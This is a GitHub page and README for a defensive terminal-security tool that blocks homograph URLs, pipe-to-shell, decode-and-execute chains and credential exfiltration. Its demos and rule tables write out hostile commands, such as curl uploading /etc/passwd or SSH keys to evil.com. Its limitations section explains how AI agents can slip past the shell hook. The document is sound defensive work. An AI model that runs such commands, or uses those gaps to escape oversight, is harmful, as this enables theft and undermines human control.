sheeki03/tirithPublic

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.

AI summary: A terminal security tool that detects and prevents execution of homoglyph attacks and malicious scripts.

Stars
2.8K
+3 today
Forks
97
Watchers
6
Open issues
7
Open PRs
9
Contributors
~2
Commits
2.6K
Branches
125

RustAGPL-3.0Created Feb 2, 2026Last push 2d agoLatest release v0.4.2+15 stars this week+50 this month

Quick answers

What is tirith?
A terminal security tool that detects and prevents execution of homoglyph attacks and malicious scripts.
What does tirith do?
Tirith is a security utility designed to protect terminal environments from subtle, difficult-to-detect threats like homoglyph attacks (e.g., using Cyrillic 'a' instead of Latin 'a' in a URL). It acts as an interception layer, analyzing commands before they are executed by the shell. When a user pastes a seemingly harmless command that contains hidden malicious characters or points to compromised endpoints, Tirith blocks the execution and alerts the user. This defense mechanism is crucial against modern social engineering and supply chain attacks that exploit the terminal's inability to distinguish visually identical characters.
Who is tirith for?
Tirith is built for developers, system administrators, and security professionals who frequently interact with the command line and copy-paste commands from the web. It provides a critical safety net against subtle visual deception attacks.
How do I get started with tirith?
cargo install tirith
How popular is tirith on GitHub?
sheeki03/tirith has 2,750 stars and 97 forks on GitHub, and gained 15 stars in the last 7 days.
What license does tirith use?
sheeki03/tirith is released under the AGPL-3.0 license.

Star history

since Jul 29, 2026
01K2KJul 2026Aug 2026Sep 2026Oct 2026
2.8K stars as of Oct 3, 2026. Measured daily since Jul 29, 2026; GitHub no longer exposes earlier star timestamps.

Contribution activity

commits per day, last 52 weeks
SepOctNovDecJanFebMarAprMayJunJulAugSepMonWedFri2025-09-27: 0 commits2025-09-28: 0 commits2025-09-29: 0 commits2025-09-30: 0 commits2025-10-01: 0 commits2025-10-02: 0 commits2025-10-03: 0 commits2025-10-04: 0 commits2025-10-05: 0 commits2025-10-06: 0 commits2025-10-07: 0 commits2025-10-08: 0 commits2025-10-09: 0 commits2025-10-10: 0 commits2025-10-11: 0 commits2025-10-12: 0 commits2025-10-13: 0 commits2025-10-14: 0 commits2025-10-15: 0 commits2025-10-16: 0 commits2025-10-17: 0 commits2025-10-18: 0 commits2025-10-19: 0 commits2025-10-20: 0 commits2025-10-21: 0 commits2025-10-22: 0 commits2025-10-23: 0 commits2025-10-24: 0 commits2025-10-25: 0 commits2025-10-26: 0 commits2025-10-27: 0 commits2025-10-28: 0 commits2025-10-29: 0 commits2025-10-30: 0 commits2025-10-31: 0 commits2025-11-01: 0 commits2025-11-02: 0 commits2025-11-03: 0 commits2025-11-04: 0 commits2025-11-05: 0 commits2025-11-06: 0 commits2025-11-07: 0 commits2025-11-09: 0 commits2025-11-10: 0 commits2025-11-11: 0 commits2025-11-12: 0 commits2025-11-13: 0 commits2025-11-14: 0 commits2025-11-15: 0 commits2025-11-16: 0 commits2025-11-17: 0 commits2025-11-18: 0 commits2025-11-19: 0 commits2025-11-20: 0 commits2025-11-21: 0 commits2025-11-22: 0 commits2025-11-23: 0 commits2025-11-24: 0 commits2025-11-25: 0 commits2025-11-26: 0 commits2025-11-27: 0 commits2025-11-28: 0 commits2025-11-29: 0 commits2025-11-30: 0 commits2025-12-01: 0 commits2025-12-02: 0 commits2025-12-03: 0 commits2025-12-04: 0 commits2025-12-05: 0 commits2025-12-06: 0 commits2025-12-07: 0 commits2025-12-08: 0 commits2025-12-09: 0 commits2025-12-10: 0 commits2025-12-11: 0 commits2025-12-12: 0 commits2025-12-13: 0 commits2025-12-14: 0 commits2025-12-15: 0 commits2025-12-16: 0 commits2025-12-17: 0 commits2025-12-18: 0 commits2025-12-19: 0 commits2025-12-20: 0 commits2025-12-21: 0 commits2025-12-22: 0 commits2025-12-23: 0 commits2025-12-24: 0 commits2025-12-25: 0 commits2025-12-26: 0 commits2025-12-27: 0 commits2025-12-28: 0 commits2025-12-29: 0 commits2025-12-30: 0 commits2025-12-31: 0 commits2026-01-01: 0 commits2026-01-02: 0 commits2026-01-03: 0 commits2026-01-04: 0 commits2026-01-05: 0 commits2026-01-06: 0 commits2026-01-07: 0 commits2026-01-08: 0 commits2026-01-09: 0 commits2026-01-10: 0 commits2026-01-11: 0 commits2026-01-12: 0 commits2026-01-13: 0 commits2026-01-14: 0 commits2026-01-15: 0 commits2026-01-16: 0 commits2026-01-17: 0 commits2026-01-18: 0 commits2026-01-19: 0 commits2026-01-20: 0 commits2026-01-21: 0 commits2026-01-22: 0 commits2026-01-23: 0 commits2026-01-24: 0 commits2026-01-25: 0 commits2026-01-26: 0 commits2026-01-27: 0 commits2026-01-28: 0 commits2026-01-29: 0 commits2026-01-30: 0 commits2026-01-31: 0 commits2026-02-01: 0 commits2026-02-02: 24 commits2026-02-03: 13 commits2026-02-04: 12 commits2026-02-05: 0 commits2026-02-06: 9 commits2026-02-07: 1 commit2026-02-08: 0 commits2026-02-09: 14 commits2026-02-10: 4 commits2026-02-11: 1 commit2026-02-12: 0 commits2026-02-13: 0 commits2026-02-14: 5 commits2026-02-15: 0 commits2026-02-16: 0 commits2026-02-17: 0 commits2026-02-18: 4 commits2026-02-19: 0 commits2026-02-20: 0 commits2026-02-21: 98 commits2026-02-22: 10 commits2026-02-23: 7 commits2026-02-24: 47 commits2026-02-25: 20 commits2026-02-26: 3 commits2026-02-27: 0 commits2026-02-28: 0 commits2026-03-01: 0 commits2026-03-02: 0 commits2026-03-03: 2 commits2026-03-04: 0 commits2026-03-05: 2 commits2026-03-06: 0 commits2026-03-07: 0 commits2026-03-08: 0 commits2026-03-09: 2 commits2026-03-10: 0 commits2026-03-11: 0 commits2026-03-12: 2 commits2026-03-13: 0 commits2026-03-14: 0 commits2026-03-15: 0 commits2026-03-16: 0 commits2026-03-17: 0 commits2026-03-18: 0 commits2026-03-19: 0 commits2026-03-20: 0 commits2026-03-21: 11 commits2026-03-22: 0 commits2026-03-23: 0 commits2026-03-24: 1 commit2026-03-25: 6 commits2026-03-26: 0 commits2026-03-27: 0 commits2026-03-28: 0 commits2026-03-29: 0 commits2026-03-30: 0 commits2026-03-31: 9 commits2026-04-01: 7 commits2026-04-02: 0 commits2026-04-03: 14 commits2026-04-04: 0 commits2026-04-05: 11 commits2026-04-06: 10 commits2026-04-07: 0 commits2026-04-08: 8 commits2026-04-09: 0 commits2026-04-10: 0 commits2026-04-11: 0 commits2026-04-12: 0 commits2026-04-13: 0 commits2026-04-14: 0 commits2026-04-15: 0 commits2026-04-16: 0 commits2026-04-17: 0 commits2026-04-18: 0 commits2026-04-19: 9 commits2026-04-20: 6 commits2026-04-21: 12 commits2026-04-22: 13 commits2026-04-23: 0 commits2026-04-24: 0 commits2026-04-25: 0 commits2026-04-26: 0 commits2026-04-27: 0 commits2026-04-28: 0 commits2026-04-29: 0 commits2026-04-30: 0 commits2026-05-01: 0 commits2026-05-02: 0 commits2026-05-03: 0 commits2026-05-04: 0 commits2026-05-05: 1 commit2026-05-06: 0 commits2026-05-07: 0 commits2026-05-08: 8 commits2026-05-09: 1 commit2026-05-10: 1 commit2026-05-11: 1 commit2026-05-12: 1 commit2026-05-13: 1 commit2026-05-14: 1 commit2026-05-15: 1 commit2026-05-16: 1 commit2026-05-17: 1 commit2026-05-18: 1 commit2026-05-19: 1 commit2026-05-20: 1 commit2026-05-21: 4 commits2026-05-22: 25 commits2026-05-23: 45 commits2026-05-24: 20 commits2026-05-25: 24 commits2026-05-26: 1 commit2026-05-27: 2 commits2026-05-28: 28 commits2026-05-29: 15 commits2026-05-30: 35 commits2026-05-31: 15 commits2026-06-01: 32 commits2026-06-02: 15 commits2026-06-03: 4 commits2026-06-04: 1 commit2026-06-05: 1 commit2026-06-06: 1 commit2026-06-07: 1 commit2026-06-08: 1 commit2026-06-09: 1 commit2026-06-10: 17 commits2026-06-11: 10 commits2026-06-12: 10 commits2026-06-13: 3 commits2026-06-14: 12 commits2026-06-15: 16 commits2026-06-16: 2 commits2026-06-17: 2 commits2026-06-18: 34 commits2026-06-19: 21 commits2026-06-20: 8 commits2026-06-21: 28 commits2026-06-22: 85 commits2026-06-23: 16 commits2026-06-24: 1 commit2026-06-25: 1 commit2026-06-26: 1 commit2026-06-27: 1 commit2026-06-28: 1 commit2026-06-29: 1 commit2026-06-30: 1 commit2026-07-01: 7 commits2026-07-02: 7 commits2026-07-03: 1 commit2026-07-04: 1 commit2026-07-05: 1 commit2026-07-06: 1 commit2026-07-07: 1 commit2026-07-08: 1 commit2026-07-09: 1 commit2026-07-10: 1 commit2026-07-11: 1 commit2026-07-12: 1 commit2026-07-13: 1 commit2026-07-14: 1 commit2026-07-15: 1 commit2026-07-16: 10 commits2026-07-17: 1 commit2026-07-18: 1 commit2026-07-19: 1 commit2026-07-20: 1 commit2026-07-21: 1 commit2026-07-22: 1 commit2026-07-23: 1 commit2026-07-24: 1 commit2026-07-25: 1 commit2026-07-26: 1 commit2026-07-27: 1 commit2026-07-28: 1 commit2026-07-29: 1 commit2026-07-30: 1 commit2026-07-31: 70 commits2026-08-01: 25 commits2026-08-02: 2 commits2026-08-03: 1 commit2026-08-04: 1 commit2026-08-05: 1 commit2026-08-06: 330 commits2026-08-07: 195 commits2026-08-08: 43 commits2026-08-09: 3 commits2026-08-10: 1 commit2026-08-11: 3 commits2026-08-12: 25 commits2026-08-13: 5 commits2026-08-14: 0 commits2026-08-15: 7 commits2026-08-16: 10 commits2026-08-17: 4 commits2026-08-18: 32 commits2026-08-19: 48 commits2026-08-20: 26 commits2026-08-21: 18 commits2026-08-22: 19 commits2026-08-23: 55 commits2026-08-24: 4 commits2026-08-25: 12 commits2026-08-26: 2 commits2026-08-27: 1 commit2026-08-28: 1 commit2026-08-29: 0 commits2026-08-30: 1 commit2026-08-31: 5 commits2026-09-01: 23 commits2026-09-02: 5 commits2026-09-03: 1 commit2026-09-04: 1 commit2026-09-05: 1 commit2026-09-06: 1 commit2026-09-07: 1 commit2026-09-08: 1 commit2026-09-09: 1 commit2026-09-10: 1 commit2026-09-11: 9 commits2026-09-12: 1 commit2026-09-13: 1 commit2026-09-14: 1 commit2026-09-15: 1 commit2026-09-16: 1 commit2026-09-17: 1 commit2026-09-18: 1 commit2026-09-19: 1 commit2026-09-20: 1 commit2026-09-21: 1 commit2026-09-22: 1 commit2026-09-23: 1 commit2026-09-24: 1 commit2026-09-25: 0 commits2026-09-26: 0 commits
2,019 commits in the last yearLessMore

Signals and awards

derived from tracked data
  • Very active

    2,019 commits in 52 weeks

  • Continuous integration

    Automated checks passing

What tirith does

Tirith is a security utility designed to protect terminal environments from subtle, difficult-to-detect threats like homoglyph attacks (e.g., using Cyrillic 'a' instead of Latin 'a' in a URL). It acts as an interception layer, analyzing commands before they are executed by the shell. When a user pastes a seemingly harmless command that contains hidden malicious characters or points to compromised endpoints, Tirith blocks the execution and alerts the user. This defense mechanism is crucial against modern social engineering and supply chain attacks that exploit the terminal's inability to distinguish visually identical characters.

Tirith is built for developers, system administrators, and security professionals who frequently interact with the command line and copy-paste commands from the web. It provides a critical safety net against subtle visual deception attacks.

  • Homoglyph Detection: Identifies and blocks commands containing visually identical but functionally different characters.
  • Command Interception: Seamlessly integrates into the terminal workflow to analyze inputs before execution.
  • Malicious Script Blocking: Prevents the execution of obfuscated or suspiciously formatted shell scripts.
  • Real-Time Alerts: Provides immediate, clear warnings when a potentially dangerous command is detected.
  • Seamless Integration: Works transparently with common shells like bash and zsh without disrupting normal workflow.
  • Zero Configuration: Works out of the box to provide essential terminal security without complex setup.

Where teams use it

Preventing Copy-Paste Attacks

Safeguard against malicious commands copied from untrusted websites or forums.

Supply Chain Defense

Detect compromised installation scripts that use subtle character substitutions to redirect downloads.

Terminal Hardening

Add an essential layer of security to developer workstations that frequently run external scripts.

Security Awareness

Educate users by highlighting exactly how and where a copied command is deceptive.

Getting started: cargo install tirith

README

main branch

tirith

Your browser would catch this. Your terminal won't.

tirith, terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).


Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

brew install tirith

Then activate in your shell profile:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

Tip

eval "$(tirith init)" auto-detects your current shell (it inspects the parent process and falls back to $SHELL if needed). The explicit --shell flag is only required when you want to override the detection.

That's it for interactive-shell coverage. Commands accepted by that shell are checked while the hook is loaded and healthy; exact blocking behavior depends on the shell and mode. Run tirith doctor after installation and upgrades, and read enforcement by shell before treating the hook as an authorization boundary. Clean commands stay silent and normally take the fast path.

Also available via npm, cargo, mise, apt/dnf, and more.


See it work

Homograph attack, blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL, warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Base64 decode-execute chain, blocked:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.

Credential exfiltration, blocked:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.

Malicious skill file, caught on scan:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

Normal commands, invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.


What it catches

244 detection rules across 35 categories.

Category What it stops
Homograph attacks Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script)
Terminal injection ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers
Steganography defense Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography
Pipe-to-shell curl | bash, wget | sh, httpie | sh, xh | sh, python <(curl ...), eval $(wget ...), plus many wrapper, decode, and indirection paths
Base64 decode-execute base64 -d | bash, python -c "exec(b64decode(...))", powershell -EncodedCommand, decode chains through sudo/env wrappers
Data exfiltration curl -d @/etc/passwd, curl -T ~/.ssh/id_rsa, wget --post-file, env var uploads ($AWS_SECRET_ACCESS_KEY), command substitution exfil
Code file scanning Obfuscated payloads (eval(atob(...))), dynamic code execution (exec(b64decode(...))), secret exfiltration via fetch/requests.post in JS/Python files
Credential detection AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection
Post-compromise behavior Process memory scraping (/proc/*/mem), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling
Command safety Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access
Insecure transport Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations
Environment Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env
Config file security Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive)
Ecosystem threats Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured
Install-command safety APT repos added from a piped download, [trusted=yes] / --allow-unauthenticated / --nogpgcheck / pacman SigLevel = Never (disabled signature checks), kubectl apply -f against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, brew install/tap from arbitrary URLs
Path analysis Non-ASCII paths, homoglyphs in paths, double-encoding
Rendered content Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium)
Cloaking detection Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text
Windows / PowerShell Set-ExecutionPolicy Bypass / -ep, Windows Defender exclusions (Add-MpPreference -Exclusion*), inline iex (iwr ...) download-execute
Terminal output defense OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives)
Operational context Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu apply without a matching saved plan, risky sudo escalation, privileged docker run
Workstation & persistence Loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, .npmrc), persistence footholds (shell rc, authorized_keys, crontab, LaunchAgents, git core.hooksPath), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle
Blast radius & correlation Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then git push --force
Trust, attestation & provenance Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot
Web3 command guard On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's web3_guard policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored
Wallet exfiltration Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and xargs / find -exec operand promotion. A source-only read is deliberately not a finding
CI artifact poisoning A fork-reachable workflow that uploads a build artifact, consumed by a privileged workflow_run workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it

What tirith does NOT protect against

Tirith analyzes the structure of commands, pasted text, and files before they execute. It is a pre-execution gate, not a runtime defense, and does not cover:

  • General runtime sandboxing: ordinary shell hooks and tirith check warn or block; they do not isolate a command after launch. The explicit capsule run --preset untrusted-project and enforcing pkg install paths provide fail-closed containment only on supported x86_64 Linux hosts.
  • Post-execution network monitoring: what a process does on the network after launch is out of scope.
  • General malware / payload detection: tirith is not an antivirus and does not detonate a payload. It analyzes structure and can match exact indicators and artifact/file hashes from the signed threat database, but an unknown payload is not proven benign by the absence of a match. (tirith run checks a downloaded script's structure; it is still not dynamic malware analysis.)
  • A privileged root/admin attacker: anyone already root or admin can bypass tirith trivially. It defends against tricked input, not an attacker who already owns the machine.
  • Anti-debugging / anti-tampering: tirith does not resist reverse engineering or protect its own binary from a local attacker.
  • On-chain analysis: the Web3 guard reads command grammar. It does not read chain state, simulate a transaction, resolve ENS, score an address, audit a contract, or watch a mempool.
  • An npm artifact firewall: tirith parses npm command grammar and registry identity facts, and can ask the project's own npm for its signature and provenance state. It does not download, extract, quarantine, or bind the tarball bytes npm installs. The contained, hash-pinned artifact firewall is Python-only.
  • Browser forensics or monitoring: tirith browser audit is an explicit, one-shot, read-only integrity audit of extension source trees. It never reads cookies, history, saved passwords, storage, wallet databases, or Local State, never removes or quarantines anything, and has no daemon.
  • Reproducible builds: an attest receipt records what two trees contained at one moment. Tirith does not run your build and cannot say the output came from the source. A deployment receipt is a point-in-time measurement, not continuous monitoring.

See docs/threat-model.md for the full threat model and explicit non-goals, and docs/enforcement-coverage.md for a capability-by-capability ledger of what tirith detects, decides, enforces, contains, and attests.


Known limitations

  • Shell-hook fragility: protection depends on a shell hook staying installed and active. Hooks can break or silently degrade across shells, shell versions, prompt frameworks, and history tools. Run tirith doctor to check live state and watch for warn-only degradation.
  • Full or read-only temporary storage: zsh and fish capture input through a scratch file before invoking Tirith and fail closed when that file cannot be created. A full/read-only TMPDIR can therefore refuse every command, and TIRITH=0 cannot recover because the binary is never reached. Follow the recovery steps in troubleshooting.
  • Platform-limited features: daemon mode, tirith run, and tirith fetch are Unix surfaces. tirith run --no-exec remains an inspection workflow there, but live remote-script execution is Linux-only and refuses before download on every other host. tirith setup is cross-platform, while each host integration has its own platform contract (for example Cline has POSIX and Windows wrappers; OpenHands' blocking hook is Unix-only).
  • Package-name extraction scope: covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro package managers (apt, dnf, yum, pacman).
  • AI-agent caveats: shell-hook interception only guards commands that go through a hooked interactive shell. An agent that spawns a non-interactive shell, calls exec directly, or runs without the hook loaded is not covered by that layer. MCP registration is cooperative unless calls are routed through the gateway. A supported pre-tool hook can automatically withhold a host command, but only when that host loaded and honored it; several hosts fail open when a hook process errors. Verify the effective host, not just the presence of a config file.
  • Host-hook failure behavior: Grok Build, Cline, and OpenHands allow the tool when their hook process crashes or times out. Tirith's adapter denies on its own errors by default, but it cannot make a host honor a process that did not return. Re-run setup if a pinned interpreter moves and test the real host after every upgrade.
  • Prime Agent IPython is source-level extraction: the guard covers shell escapes/magics and common os, subprocess, and pty.spawn forms, but it is not a Python runtime sandbox. A wrapper defined in an earlier cell, reflection such as getattr/__import__, or a third-party package that spawns a process can escape what a source lexer can prove.
  • Custom-DLP and machine output: broad dlp_custom_patterns can currently rewrite protocol-owned string values in recursively redacted JSON/MCP projections, including generated identifiers or receipt metadata. Avoid patterns that can match structural values when consuming signed or machine-stable output; this needs field-aware redaction before release.
  • Unattended install approval: tirith install --yes is accepted as the package-manager task gate's unattended require_approval channel. It is an explicit operator flag, not proof of a human TTY confirmation. Use a blocking task policy where unattended execution must be impossible.
  • Interpreted MCP binding: exact interpreted-server binding hashes the repository tree under fixed caps instead of discovering a true dependency closure, so large trees, symlinks, or special files can refuse launch. It revalidates before spawn but does not execute interpreter inputs from sealed reviewed descriptors; concurrent same-user mutation remains a verify-to-load gap.
  • Task-gate coverage: task effect inference models the Web3 shell grammar and nothing else, so nearly every ordinary SHELL command is reported INCOMPLETE. task_gate.mode: enforce with action_incomplete_analysis: block refuses those at the five boundaries that submit a shell envelope, and changes nothing at the four package and config-write boundaries, which always assess as complete. warn is the default. The alternative, effects_denied_for_untrusted_sources, denies the named effect on every call at every owned boundary, including commands you typed yourself, because no source at those boundaries is ever treated as trusted.
  • Containment is x86_64 Linux: tirith capsule run --preset untrusted-project and enforcing tirith pkg install are enforceable only on x86_64 Linux with a usable Landlock ABI. Every other host refuses before anything is copied or spawned, with no degraded fallback. Domain allow-listing is not offered by any backend.
  • Nested-shell exfiltration gap: a sensitive read inside a nested shell body whose sink is outside it, such as bash -c "cat <wallet>" | curl -d @- <url>, is not correlated today. The same chain wholly inside or wholly outside the -c body is detected.
  • Execution-evidence grades: a Linux launch is confirmed only after its stopped exec transition, durable state update, authorized resume, and terminal launcher proof all complete. A gateway call is confirmed only by an exact correlated result. Shell observations and forwarded gateway calls that time out or are cancelled remain conservative unresolved evidence, never confirmed execution. Strict shell receipts are available for interactive bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher behavior must be verified by Linux CI or a native Linux host; neither portable source/unit coverage nor a macOS build can substitute.
  • Web3 coverage gaps: forge create is not yet modelled on engine surfaces; several declared web3_guard fields are parsed but not enforced; and schema-2 command-card Web3 bindings do not yet have a CLI authoring or live engine-consumption path. Treat these as known gaps, not silent authorization.

Threat intelligence

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or tirith check sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

Signed DB (built by CI, verified on download and load):

ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes, malicious URLs, campaign membership, and behavior tags. The signed index, updater, compiler, and loader support v1 and v2 during the staged cutover, reject sequence rollback, publish transactionally, and retain a signed last-known-good database when an update is incomplete or invalid. The DigitalSide source is implemented but intentionally inactive until its freshness and operating contract are approved.

Optional supplemental feeds (user-local overlay):

Optional live enrichment during tirith check and daemon mode:

tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

By default, shell hooks and tirith check trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

threat-db explain accepts a domain, a package name (name, ecosystem:name, or name@version), or an IPv4 address. The binary retains no per-entry history, so threat-db diff reports category and per-source count deltas between snapshots, not the exact entries changed. Every threat-db command takes --format json; threatdb is an alias.

Package risk scoring

tirith package risk <ecosystem> <name> scores a package's supply-chain / maintainer risk the way tirith score scores a URL, a deterministic, fully explainable sum of named factors, no model and no learned weights. tirith package explain <ecosystem> <name> adds the factor-by-factor derivation; both take --format json.

tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API

Offline by default. With no flags, every signal is local, with no network call: (1) name vs. popular packages: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's popular set; (2) known malicious typosquat: an exact match in the threat DB's typosquat index; (3) install / lifecycle scripts and (4) bundled binary blobs, detected only when the package content is locally available (under node_modules / site-packages, or via --path). tirith never downloads the package.

--online adds registry provenance. It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the same factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which package risk itself reaches the network; tirith check and daemon mode have a separate, policy-controlled runtime enrichment path. --offline / TIRITH_OFFLINE force this scorer offline regardless. Failures fall back to the offline score with an honest api signals: unavailable, and responses are cached with a TTL so repeated runs do not hammer the registries.

The score is advisory and standalone: package risk is not a detection rule and changes no verdict, exit code, or audit log.

Ecosystem scan and dependency risk

tirith ecosystem scan [path] is the directory-level companion to package risk. It walks a project, discovers every dependency manifest it understands, npm (package.json, package-lock.json), Python (requirements*.txt, pyproject.toml), Rust (Cargo.toml), Go (go.mod), Ruby (Gemfile), and scores every declared dependency with the same deterministic package_risk factor engine.

tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

It folds in slopsquat detection. Slopsquatting is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. ecosystem scan flags one only when all three hold: the name is not known-real or popular, it is shaped like an AI hallucination (a language prefix like python- / node- plus descriptive tokens, a stack of generic filler like helper / utils / client, or an unusually long name), and it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest data-utils with no popular anchor does not fire.

Offline by default, opt-in --online. Name and typosquat signals come from the local threat database; --online adds registry provenance, gated and degraded exactly as package risk --online. This flag controls the ecosystem scan and does not alter tirith check's independent runtime-enrichment policy. Findings flow through tirith's normal Verdict / Finding model: explainable (tirith explain --rule threat_suspicious_package), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or ecosystem:name, is suppressed). Exit codes match tirith scan: 1 for a blocking finding, 2 for advisory, 0 when clean.

This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.

Python artifact inspection and enforcing installs

Package-name risk is only one layer. Tirith can inspect the exact Python bytes you already have and, on supported hosts, enforce a hash-pinned install plan:

# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv

# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests

Inspection covers wheel structure and identity, RECORD integrity and file ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution edges, and loader/payload splits across distributions. pkg graph, pkg diff, pkg attest, and pkg receipt expose the corresponding provenance and receipt evidence.

The enforcing path supports pip on x86_64 Linux only and requires the documented native authority, a newly dedicated target directory, and an enrolled fully static native uv. Every unsupported platform fails closed before pip starts; it never falls back to an ordinary install. npm and Cargo remain non-enforcing evidence surfaces. See the 0.4.0 release notes and command reference.

Attack families tirith is built for (illustrative, not a caught-by-current-code claim):

Incident Year Attack shape
Shai-Hulud npm worm 2025 Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public Shai-Hulud repos
Slopsquatting 2023 to ongoing Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; USENIX 2025 found 58% of hallucinated names repeat across runs
